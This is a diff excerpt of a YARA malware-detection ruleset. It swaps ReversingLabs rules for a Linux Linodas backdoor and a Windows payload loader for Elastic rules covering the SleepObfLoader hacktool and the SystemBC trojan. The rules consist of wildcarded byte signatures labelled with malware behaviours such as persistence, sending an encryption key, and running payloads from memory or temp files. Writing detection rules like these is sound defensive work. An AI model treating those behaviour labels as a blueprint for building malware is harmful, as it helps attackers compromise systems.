-            8B F1 48 8B CA 48 8B DA FF 15 ?? ?? ?? ?? C6 44 24 ?? ?? 48 63 F8 40 88 7C 24 ?? 4C
-            8B C7 85 C0 74 ?? 48 8D 44 24 ?? 48 2B D8 48 8D 4C 24 ?? 49 FF C8 4A 8D 0C 01 8A 04
-            0B 88 01 75 ?? 83 C7 ?? 48 63 DF E8 ?? ?? ?? ?? BA ?? ?? ?? ?? F6 D8 48 8D 45 ?? 1A
-            C9 80 E1 ?? 80 C9 ?? FF C7 88 4C 1C ?? 8B CA C6 00 ?? 48 FF C0 48 FF C9 75 ?? 48 8D
-            4D ?? 89 55 ?? FF 15 ?? ?? ?? ?? 8A 45 ?? 48 63 CF 88 44 0C ?? 8A 45 ?? FF C7 48 63
-            CF FF C7 BB ?? ?? ?? ?? 88 44 0C ?? 8A 45 ?? 48 63 CF 88 44 0C ?? 8A 45 ?? FF C7 48
-            63 CF FF C7 4C 8D 85 ?? ?? ?? ?? 88 44 0C ?? 8A 45 ?? 48 63 D7 88 44 14 ?? 8B 45 ??
-            FF C7 48 63 D7 8D 4B ?? C6 44 24 ?? ?? 89 44 14 ?? 48 8D 54 24 ?? 83 C7 ?? 89 9D ??
-            ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8D 4C 24 ?? FF 15 ?? ?? ?? ?? 44 8B C0 8D 48 ?? 03 CF
-            48 63 D1 48 83 FA ?? 76 ?? 44 8D 43 ?? 44 2B C7 48 63 C7 FF C7 4C 8D 54 24 ?? 44 88
-            44 04 ?? 48 63 C7 49 63 D0 4C 03 D0 45 85 C0 74 ?? 4C 8D 4C 24 ?? 4A 8D 0C 12 4D 2B
-            CA 48 FF C9 41 8A 04 09 88 01 48 FF CA 75 ?? 48 8D 95 ?? ?? ?? ?? 48 8D 4C 24 ?? 41
-            03 F8 C6 44 24 ?? ?? 89 9D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8D 4C 24 ?? FF 15 ?? ??
-            ?? ?? 44 8B C0 8D 48 ?? 03 CF 48 63 D1 48 83 FA ?? 76 ?? 41 B8 ?? ?? ?? ?? 44 2B C7
-            48 63 C7 FF C7 4C 8D 54 24 ?? 44 88 44 04 ?? 48 63 C7 49 63 D0 4C 03 D0 45 85 C0 74
-            ?? 4C 8D 4C 24 ?? 4A 8D 0C 12 4D 2B CA 48 FF C9 42 8A 04 09 88 01 48 FF CA 75 ?? 4C
-            8D 4C 24 ?? 48 8D 54 24 ?? 44 03 C7 8B CE E8 ?? ?? ?? ?? 4C 8D 9C 24 ?? ?? ?? ?? 49
-            8B 5B ?? 49 8B 73 ?? 49 8B 7B ?? 49 8B E3 5D C3
-        }
-		$copy_payload_into_allocated_memory = {
-            48 89 5C 24 ?? 48 89 6C 24 ?? 56 57 41 56 48 83 EC ?? 49 8B D8 48 63 F2 48 8B F9 41
-            C6 00 ?? C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 75 ?? 66 C7 03 ?? ?? B8 ?? ??
-            ?? ?? E9 ?? ?? ?? ?? 4C 8D 4C 24 ?? 4C 8D 44 24 ?? 48 8B D3 48 8B CF E8 ?? ?? ?? ??
-            8B E8 85 C0 74 ?? 41 B9 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 48 8B D6 33 C9 4C 8B F6 FF 15
-            ?? ?? ?? ?? 48 8B F0 48 85 C0 75 ?? 66 C7 03 ?? ?? FF 15 ?? ?? ?? ?? 89 43 ?? 8D 46
-            ?? EB ?? 4D 8B C6 48 8B D7 48 8B C8 E8 ?? ?? ?? ?? 48 83 64 24 ?? ?? 83 64 24 ?? ??
-            4C 8D 04 2E 45 33 C9 33 D2 33 C9 FF 15 ?? ?? ?? ?? 48 8B C8 FF 15 ?? ?? ?? ?? 8B 44
-            24 ?? 48 8B 5C 24 ?? 48 8B 6C 24 ?? 48 83 C4 ?? 41 5E 5F 5E C3
-        }
-		$execute_payload_from_temp = {
-            40 53 48 81 EC ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 4C 8B D1 48 8D 44 24 ?? 41 8B D0 33 DB
-            88 18 48 FF C0 48 FF CA 75 ?? 48 8D 44 24 ?? 8D 4A ?? 88 18 48 FF C0 48 FF C9 75 ??
-            48 8D 44 24 ?? 44 89 44 24 ?? 45 33 C9 48 89 44 24 ?? 48 8D 44 24 ?? 45 33 C0 48 89
-            44 24 ?? 48 89 5C 24 ?? 48 89 5C 24 ?? 49 8B D2 89 5C 24 ?? C7 84 24 ?? ?? ?? ?? ??
-            ?? ?? ?? 89 5C 24 ?? 66 89 9C 24 ?? ?? 00 00 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 4C
-            24 ?? FF 15 ?? ?? ?? ?? 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? B0 ?? EB ?? 32 C0 48 81 C4
-            ?? ?? ?? ?? 5B C3
-        }
+		$a = { 84 24 80 00 00 00 31 C9 EB 23 48 89 4C 24 38 48 8D 84 24 C8 00 }
 
 	condition:
-		uint16(0)==0x5A4D and ($generate_system_id) and ($generate_encrypt_and_send_key) and ($get_encrypt_and_send_system_info) and ($copy_payload_into_allocated_memory) and ($execute_payload_from_temp)
+		all of them
 }
-rule REVERSINGLABS_Linux_Backdoor_Linodas : TC_DETECTION MALICIOUS MALWARE FILE
+rule ELASTIC_Windows_Hacktool_Sleepobfloader_460A1A75 : FILE MEMORY
 {
 	meta:
-		description = "Yara rule that detects Linodas backdoor."
-		author = "ReversingLabs"
-		id = "2b197346-abce-5cff-938f-bb8742e03168"
-		date = "2024-05-22"
-		modified = "2024-05-22"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/backdoor/Linux.Backdoor.Linodas.yara#L1-L216"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "12445771106e36b74b1ea292a8a25cab66bcaf0a08cf88d39a9f1bb13c6f525b"
+		description = "Detects Windows Hacktool Sleepobfloader (Windows.Hacktool.SleepObfLoader)"
+		author = "Elastic Security"
+		id = "460a1a75-7242-41d6-8b39-51f2f0276a33"
+		date = "2024-01-24"
+		modified = "2024-01-29"
+		reference = "https://www.elastic.co/security-labs/unmasking-financial-services-intrusion-ref0657"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Hacktool_SleepObfLoader.yar#L1-L22"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "84b3bc58ec04ab272544d31f5e573c0dd7812b56df4fa445194e7466f280e16d"
+		logic_hash = "c0bc1b7ef71c1a91fc487f904315c6f187530ab39825f90f55ac36625d5b93cf"
 		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Backdoor"
-		tc_detection_name = "Linodas"
-		tc_detection_factor = 5
-		importance = 25
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "8dbba5af9f379ac16a79b4989067b8715e084490ae2f048eb3a28d8d33c716e9"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "windows"
 
 	strings:
-		$persistence_mechanism_ubuntu = {
-            41 54 BE ?? ?? ?? ?? 55 53 48 81 EC ?? ?? ?? ?? 48 8D 6C 24 ?? 48 8D 54 24 ?? 48 89
-            EF E8 ?? ?? ?? ?? 48 8B 7C 24 ?? 31 F6 E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8D 5C 24 ?? 48
-            89 EE 48 89 DF E8 ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 48 8B 5C 24 ?? 48 83 EB ?? 48
-            81 FB ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 48 8D 6C 24 ?? 48 8D 54 24 ?? BE ?? ?? ?? ?? 48
-            89 EF E8 ?? ?? ?? ?? 48 8B 7C 24 ?? 31 F6 E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8D 5C 24 ??
-            48 89 EE 48 89 DF E8 ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 48 8B 5C 24 ?? 48 83 EB ??
-            48 81 FB ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 48 8D 5C 24 ?? 48 89 EE 48 89 DF E8 ?? ?? ??
-            ?? 48 89 DF E8 ?? ?? ?? ?? 48 8B 5C 24 ?? 41 BC ?? ?? ?? ?? 48 83 EB ?? 4C 39 E3 0F
-            85 ?? ?? ?? ?? 4C 8B 44 24 ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 E7
-            E8 ?? ?? ?? ?? 48 89 E7 E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 E7 E8 ?? ?? ?? ?? 85 C0
-            74 ?? 48 8B 4C 24 ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48
-            8D 5C 24 ?? 4C 8B 44 24 ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 DF E8
-            ?? ?? ?? ?? 48 89 DE 48 89 E7 E8 ?? ?? ?? ?? 48 8B 5C 24 ?? 48 83 EB ?? 49 39 DC 0F
-            85 ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 E7 E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 4C 24 ?? BA
-            ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 5C 24 ?? 4C 8B 44 24
-            ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 48 89 DE 48
-            89 E7 E8 ?? ?? ?? ?? 48 8B 5C 24 ?? 48 83 EB ?? 49 39 DC 0F 85 ?? ?? ?? ?? BE ?? ??
-            ?? ?? 48 89 E7 E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 4C 24 ?? BA ?? ?? ?? ?? BE ?? ?? ??
-            ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 1C 24 48 83 EB ?? 49 39 DC 0F 85 ?? ?? ?? ??
-            48 8B 5C 24 ?? 48 83 EB ?? 49 39 DC 0F 85 ?? ?? ?? ?? 48 8B 5C 24 ?? 48 83 EB ?? 49
-            39 DC 0F 85 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 5B 5D 41 5C C3
-        }
-		$network_communication_1 = {
-            48 89 5C 24 ?? 48 89 6C 24 ?? 48 89 F3 4C 89 64 24 ?? 4C 89 6C 24 ?? 48 81 EC ?? ??
-            ?? ?? 48 8B 06 48 89 FD 89 54 24 ?? 45 89 C4 48 83 78 ?? ?? 0F 84 ?? ?? ?? ?? 4C 8D
-            6C 24 ?? 48 8B 33 4C 89 EF E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 83 78 ?? ?? 0F 84 ?? ??
-            ?? ?? 45 84 E4 0F 85 ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 88 45
-            ?? 80 7D ?? ?? 0F 84 ?? ?? ?? ?? C6 45 ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 83 F8 ?? 89 C5 0F 84 ?? ?? ?? ?? 48 8D 4C 24 ?? 41 B8 ?? ?? ??
-            ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 89 C7 48 C7 44 24 ?? ?? ?? ?? ?? 48 C7 44 24 ?? ??
-            ?? ?? ?? 48 8D 5C 24 ?? E8 ?? ?? ?? ?? 48 8D 4C 24 ?? BA ?? ?? ?? ?? BE ?? ?? ?? ??
-            41 B8 ?? ?? ?? ?? 89 EF 48 C7 44 24 ?? ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 48 8B 7C 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? 8B 44 24 ?? 48 C7 44 24 ?? ?? ??
-            ?? ?? 66 C1 C8 ?? 66 C7 44 24 ?? ?? ?? 66 89 44 24 ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ??
-            89 44 24 ?? 48 89 DE 89 EF E8 ?? ?? ?? ?? 83 C0 ?? 0F 84 ?? ?? ?? ?? 0F 1F 44 00 ??
-            48 8B 5C 24 ?? 48 83 EB ?? 48 81 FB ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 89 E8 48 8B 5C 24
-            ?? 48 8B 6C 24 ?? 4C 8B 64 24 ?? 4C 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3
-        }
-		$network_communication_2 = {
-            48 89 5C 24 ?? 48 89 6C 24 ?? 48 89 FB 4C 89 64 24 ?? BE ?? ?? ?? ?? 48 83 EC ?? BF
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 74 ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 0F 84 ??
-            ?? ?? ?? 48 8D 73 ?? 48 8D 53 ?? BF ?? ?? ?? ?? 48 8D 6C 24 ?? 45 31 E4 E8 ?? ?? ??
-            ?? 48 89 DF E8 ?? ?? ?? ?? 48 8B 73 ?? 48 89 EF E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 83
-            78 ?? ?? 74 ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 0F 84 ?? ?? ?? ??
-            4C 8D 64 24 ?? 48 89 EE 4C 89 E7 E8 ?? ?? ?? ?? 4C 89 E6 48 89 DF E8 ?? ?? ?? ?? 48
-            8B 6C 24 ?? 41 89 C4 48 83 ED ?? 48 81 FD ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 45 84 E4 74
-            ?? 80 7B ?? ?? 0F 84 ?? ?? ?? ?? 90 48 89 DF E8 ?? ?? ?? ?? 48 8B 5C 24 ?? 41 0F B6
-            EC 48 83 EB ?? 48 81 FB ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 89 E8 48 8B 5C 24 ?? 48 8B 6C
-            24 ?? 4C 8B 64 24 ?? 48 83 C4 ?? C3
-        }
-		$persistence_mechanism_redhat_v11 = {
-            41 57 41 56 41 55 41 54 55 53 48 83 EC ?? 48 8D 7C 24 ?? E8 ?? ?? ?? ?? 48 8B 6C 24
-            ?? 8B 7D ?? 4C 8D 7D ?? 81 C7 ?? ?? ?? ?? 48 63 FF E8 ?? ?? ?? ?? 48 89 C3 48 8D 7C
-            24 ?? 48 89 EE E8 ?? ?? ?? ?? 4C 8B 6C 24 ?? BE ?? ?? ?? ?? 48 89 DF 31 C0 4C 8D 74
-            24 ?? 4C 89 EA E8 ?? ?? ?? ?? 48 98 48 8D 54 24 ?? 48 89 DE C6 04 18 ?? 4C 89 F7 E8
-            ?? ?? ?? ?? 48 8B 7C 24 ?? 31 F6 E8 ?? ?? ?? ?? 85 C0 74 ?? 4C 89 E9 4C 89 EA BE ??
-            ?? ?? ?? 48 89 DF 49 89 E9 4D 89 E8 31 C0 E8 ?? ?? ?? ?? 48 8B 7C 24 ?? 41 89 C4 B9
-            ?? ?? ?? ?? 89 C2 48 89 DE E8 ?? ?? ?? ?? 48 8B 7C 24 ?? 31 F6 E8 ?? ?? ?? ?? 85 C0
-            0F 85 ?? ?? ?? ?? 48 8B 54 24 ?? 48 89 DF BE ?? ?? ?? ?? 31 C0 E8 ?? ?? ?? ?? 48 89
-            DF E8 ?? ?? ?? ?? 4C 89 EA BE ?? ?? ?? ?? 48 89 DF 31 C0 48 8D 6C 24 ?? E8 ?? ?? ??
-            ?? 48 98 48 8D 54 24 ?? 48 89 DE C6 04 18 ?? 48 89 EF E8 ?? ?? ?? ?? 48 89 E7 31 C9
-            BA ?? ?? ?? ?? 48 89 EE E8 ?? ?? ?? ?? 48 8B 6C 24 ?? 41 BE ?? ?? ?? ?? 4C 8B 24 24
-            48 83 ED ?? 4C 39 F5 0F 85 ?? ?? ?? ?? BE ?? ?? ?? ?? 4C 89 E7 E8 ?? ?? ?? ?? 48 85
-            C0 0F 84 ?? ?? ?? ?? 48 89 DF 49 8D 5C 24 ?? E8 ?? ?? ?? ?? 49 39 DE 0F 85 ?? ?? ??
-            ?? 48 8B 5C 24 ?? 48 83 EB ?? 49 39 DE 0F 85 ?? ?? ?? ?? 49 8D 5D ?? 49 39 DE 0F 85
-            ?? ?? ?? ?? 49 81 FF ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 48 83 C4 ?? 5B 5D 41 5C 41 5D 41
-            5E 41 5F C3
-        }
-		$change_timestamp_and_read_config_v11 = {
-            55 53 48 83 EC ?? 48 8D 5C 24 ?? 48 89 E7 E8 ?? ?? ?? ?? 48 89 E6 48 89 DF E8 ?? ??
-            ?? ?? 48 89 DF E8 ?? ?? ?? ?? 48 8B 5C 24 ?? 48 83 EB ?? 48 81 FB ?? ?? ?? ?? 0F 85
-            ?? ?? ?? ?? 48 89 E6 BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 1C 24 BE ?? ?? ?? ?? 48 89
-            DF E8 ?? ?? ?? ?? 48 85 C0 74 ?? 48 83 C0 ?? 89 C5 29 DD 8D 7D ?? 48 63 FF E8 ?? ??
-            ?? ?? 48 63 D5 48 89 C3 48 89 C7 C6 04 02 ?? 48 8B 34 24 E8 ?? ?? ?? ?? 48 89 DF E8
-            ?? ?? ?? ?? 48 89 DE 48 89 C2 BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ??
-            BA ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 1C 24 B8 ?? ?? ??
-            ?? 48 83 EB ?? 48 39 D8 75 ?? 48 83 C4 ?? 5B 5D C3
-        }
-		$generate_machine_id_v11 = {
-            41 57 BE ?? ?? ?? ?? 49 89 FF 41 56 41 55 41 54 55 53 48 81 EC ?? ?? ?? ?? 48 8D 9C
-            24 ?? ?? ?? ?? 48 8D 94 24 ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 4C 8D AC 24 ?? ?? ??
-            ?? 31 C9 BA ?? ?? ?? ?? 48 89 DE 4C 89 EF E8 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 41
-            BE ?? ?? ?? ?? 48 83 EB ?? 4C 39 F3 0F 85 ?? ?? ?? ?? 4C 8D A4 24 ?? ?? ?? ?? 48 8B
-            B4 24 ?? ?? ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 4C 89 E7 E8 ?? ?? ?? ?? 48 8B 84 24
-            ?? ?? ?? ?? 48 83 78 ?? ?? 0F 84 ?? ?? ?? ?? 48 8D 9C 24 ?? ?? ?? ?? 48 8D 94 24 ??
-            ?? ?? ?? BE ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 48 8D AC 24 ?? ?? ?? ?? 31 C9 BA ??
-            ?? ?? ?? 48 89 DE 48 89 EF E8 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 83 EB ?? 49 39
-            DE 0F 85 ?? ?? ?? ?? 48 89 EE 4C 89 E7 E8 ?? ?? ?? ?? 48 8B B4 24 ?? ?? ?? ?? 48 8D
-            BC 24 ?? ?? ?? ?? 48 8B 56 ?? E8 ?? ?? ?? ?? 31 FF 4C 8B AC 24 ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 89 C7 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 89 C6 48 8D BC 24 ?? ?? ??
-            ?? F7 EA 89 F1 89 F5 C1 F9 ?? C1 FA ?? 29 CA 69 D2 ?? ?? ?? ?? 29 D5 E8 ?? ?? ?? ??
-            48 8B 9C 24 ?? ?? ?? ?? 41 89 E8 31 C0 4C 89 E9 BE ?? ?? ?? ?? 48 89 E7 48 89 DA 48
-            83 EB ?? E8 ?? ?? ?? ?? 49 39 DE 89 C5 0F 85 ?? ?? ?? ?? 48 63 C5 48 8D 94 24 ?? ??
-            ?? ?? 48 8D BC 24 ?? ?? ?? ?? C6 04 04 ?? 48 89 E6 E8 ?? ?? ?? ?? 48 8D 94 24 ?? ??
-            ?? ?? 48 89 E6 4C 89 FF E8 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 83 EB ?? 49 39 DE
-            0F 85 ?? ?? ?? ?? 49 8D 5D ?? 49 39 DE 0F 85 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48
-            83 EB ?? 49 39 DE 0F 85 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 83 EB ?? 49 39 DE 0F
-            85 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 83 EB ?? 49 39 DE 0F 85 ?? ?? ?? ?? 48 81
-            C4 ?? ?? ?? ?? 4C 89 F8 5B 5D 41 5C 41 5D 41 5E 41 5F C3
-        }
-		$persistence_mechanism_redhat_v7 = {
-            48 89 6C 24 ?? 4C 89 7C 24 ?? 48 89 5C 24 ?? 4C 89 64 24 ?? 4C 89 6C 24 ?? 4C 89 74
-            24 ?? 48 81 EC ?? ?? ?? ?? 48 8D 7C 24 ?? E8 ?? ?? ?? ?? 48 8B 6C 24 ?? 8B 7D ?? 4C
-            8D 7D ?? 81 C7 ?? ?? ?? ?? 48 63 FF E8 ?? ?? ?? ?? 48 89 C3 48 8D 7C 24 ?? 48 89 EE
-            E8 ?? ?? ?? ?? 4C 8B 64 24 ?? BE ?? ?? ?? ?? 48 89 DF 31 C0 4C 8D 74 24 ?? 4C 89 E2
-            E8 ?? ?? ?? ?? 48 98 48 8D 54 24 ?? 48 89 DE C6 04 18 ?? 4C 89 F7 E8 ?? ?? ?? ?? 48
-            8B 7C 24 ?? 31 F6 E8 ?? ?? ?? ?? 85 C0 74 ?? 4C 89 E1 4C 89 E2 BE ?? ?? ?? ?? 48 89
-            DF 49 89 E9 4D 89 E0 31 C0 E8 ?? ?? ?? ?? 48 8B 7C 24 ?? 41 89 C5 B9 ?? ?? ?? ?? 89
-            C2 48 89 DE E8 ?? ?? ?? ?? 48 8B 7C 24 ?? 31 F6 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ??
-            ?? 48 8B 54 24 ?? 48 89 DF BE ?? ?? ?? ?? 31 C0 E8 ?? ?? ?? ?? 48 89 DF E8 ?? ?? ??
-            ?? 4C 89 E2 BE ?? ?? ?? ?? 48 89 DF 31 C0 E8 ?? ?? ?? ?? 48 98 48 89 E7 31 C9 C6 04
-            18 ?? BA ?? ?? ?? ?? 48 89 DE E8 ?? ?? ?? ?? 48 8B 2C 24 BE ?? ?? ?? ?? 48 89 EF E8
-            ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 48 89 DF 48 8D 5D ?? BD ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 48 39 EB 0F 85 ?? ?? ?? ?? 48 8B 5C 24 ?? 48 83 EB ?? 48 39 DD 0F 85 ?? ?? ??
-            ?? 49 8D 5C 24 ?? 48 39 DD 0F 85 ?? ?? ?? ?? 49 81 FF ?? ?? ?? ?? 0F 85 ?? ?? ?? ??
-            48 8B 5C 24 ?? 48 8B 6C 24 ?? 4C 8B 64 24 ?? 4C 8B AC 24 ?? ?? ?? ?? 4C 8B B4 24 ??
-            ?? ?? ?? 4C 8B BC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3
-        }
-		$get_device_name_v7 = {
-            48 89 5C 24 ?? 48 89 6C 24 ?? BE ?? ?? ?? ?? 4C 89 64 24 ?? 4C 89 6C 24 ?? B9 ?? ??
-            ?? ?? 4C 89 74 24 ?? 48 81 EC ?? ?? ?? ?? 4C 8B 05 ?? ?? ?? ?? 48 8D 5C 24 ?? BA ??
-            ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 48 89 DE BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 5C 24
-            ?? 41 BD ?? ?? ?? ?? 48 83 EB ?? 4C 39 EB 0F 85 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48
-            83 78 ?? ?? 75 ?? 48 8D 5C 24 ?? 48 89 DF E8 ?? ?? ?? ?? 48 89 DE BF ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 48 8B 5C 24 ?? 48 83 EB ?? 49 39 DD 0F 85 ?? ?? ?? ?? 48 8B 0D ?? ?? ??
-            ?? 48 8B 15 ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 7C 24 ??
-            E8 ?? ?? ?? ?? 4C 8B 64 24 ?? 48 89 E7 E8 ?? ?? ?? ?? 48 8B 2C 24 48 8D 5C 24 ?? 41
-            B8 ?? ?? ?? ?? 4C 89 E2 BE ?? ?? ?? ?? 31 C0 48 89 DF 48 89 E9 E8 ?? ?? ?? ?? 48 89
-            DE BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 5C 24 ?? 48 83 EB ?? 49 39 DD 0F 85 ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 48 8D 5D ?? 49 39 DD 0F 85 ?? ?? ?? ?? 49 8D 5C 24 ?? 49 39 DD 0F
-            85 ?? ?? ?? ?? 48 8B 5C 24 ?? 48 8B 6C 24 ?? 4C 8B 64 24 ?? 4C 8B 6C 24 ?? 4C 8B B4
-            24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3
-        }
-		$generate_machine_id_v7 = {
-            41 57 31 C9 BA ?? ?? ?? ?? BE ?? ?? ?? ?? 49 89 FF 41 56 41 55 41 54 55 53 48 81 EC
-            ?? ?? ?? ?? 4C 8D A4 24 ?? ?? ?? ?? 48 8D AC 24 ?? ?? ?? ?? 4C 89 E7 E8 ?? ?? ?? ??
-            48 8B B4 24 ?? ?? ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 89 EF E8 ?? ?? ?? ?? 48 8B
-            84 24 ?? ?? ?? ?? 48 83 78 ?? ?? 0F 84 ?? ?? ?? ?? 48 8D 9C 24 ?? ?? ?? ?? 31 C9 BA
-            ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 48 89 DE 48 89 EF E8 ?? ?? ?? ??
-            48 8B B4 24 ?? ?? ?? ?? 48 8D BC 24 ?? ?? ?? ?? 48 8B 56 ?? E8 ?? ?? ?? ?? 31 FF 4C
-            8B B4 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 C7 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ??
-            ?? 89 C6 48 8D BC 24 ?? ?? ?? ?? F7 EA 89 F1 89 F5 C1 F9 ?? C1 FA ?? 29 CA 69 D2 ??
-            ?? ?? ?? 29 D5 E8 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 41 89 E8 31 C0 4C 89 F1 BE ??
-            ?? ?? ?? 48 89 E7 41 BD ?? ?? ?? ?? 48 89 DA 48 83 EB ?? E8 ?? ?? ?? ?? 4C 39 EB 89
-            C5 0F 85 ?? ?? ?? ?? 48 63 C5 48 8D 94 24 ?? ?? ?? ?? 48 8D BC 24 ?? ?? ?? ?? C6 04
-            04 ?? 48 89 E6 E8 ?? ?? ?? ?? 48 8D 94 24 ?? ?? ?? ?? 48 89 E6 4C 89 FF E8 ?? ?? ??
-            ?? 48 8B 9C 24 ?? ?? ?? ?? 48 83 EB ?? 49 39 DD 0F 85 ?? ?? ?? ?? 49 8D 5E ?? 49 39
-            DD 0F 85 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 83 EB ?? 49 39 DD 0F 85 ?? ?? ?? ??
-            48 8B 9C 24 ?? ?? ?? ?? 48 83 EB ?? 49 39 DD 0F 85 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ??
-            ?? 48 83 EB ?? 49 39 DD 0F 85 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 4C 89 F8 5B 5D 41 5C
-            41 5D 41 5E 41 5F C3
-        }
+		$a = { BA 01 00 00 00 41 B8 20 01 00 00 8B 48 3C 8B 4C 01 28 48 03 C8 48 89 0D ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? B9 01 00 00 00 }
+		$b = { 8A 50 20 83 60 24 F0 80 E2 F8 48 8B ?? ?? ?? 4C 8B ?? ?? ?? 48 89 08 48 8B ?? ?? ?? 48 89 48 08 }
+		$c = { 8B 46 FB 41 89 40 18 0F B7 46 FF 66 41 89 40 1C 8A 46 01 41 88 40 1E }
 
 	condition:
-		uint32(0)==0x464C457F and (($persistence_mechanism_ubuntu) and ( all of ($network_communication_*)) and ((($change_timestamp_and_read_config_v11) and ($persistence_mechanism_redhat_v11) and ($generate_machine_id_v11)) or (($persistence_mechanism_redhat_v7) and ($get_device_name_v7) and ($generate_machine_id_v7))))
+		all of them
 }
-rule REVERSINGLABS_Win64_Backdoor_Sidetwist : TC_DETECTION MALICIOUS MALWARE FILE
+rule ELASTIC_Windows_Trojan_Systembc_5E883723 : FILE MEMORY
 {
 	meta:
-		description = "Yara rule that detects SideTwist backdoor."
-		author = "ReversingLabs"
-		id = "979b442e-8739-54a8-b486-39fc5673791e"
-		date = "2024-03-18"
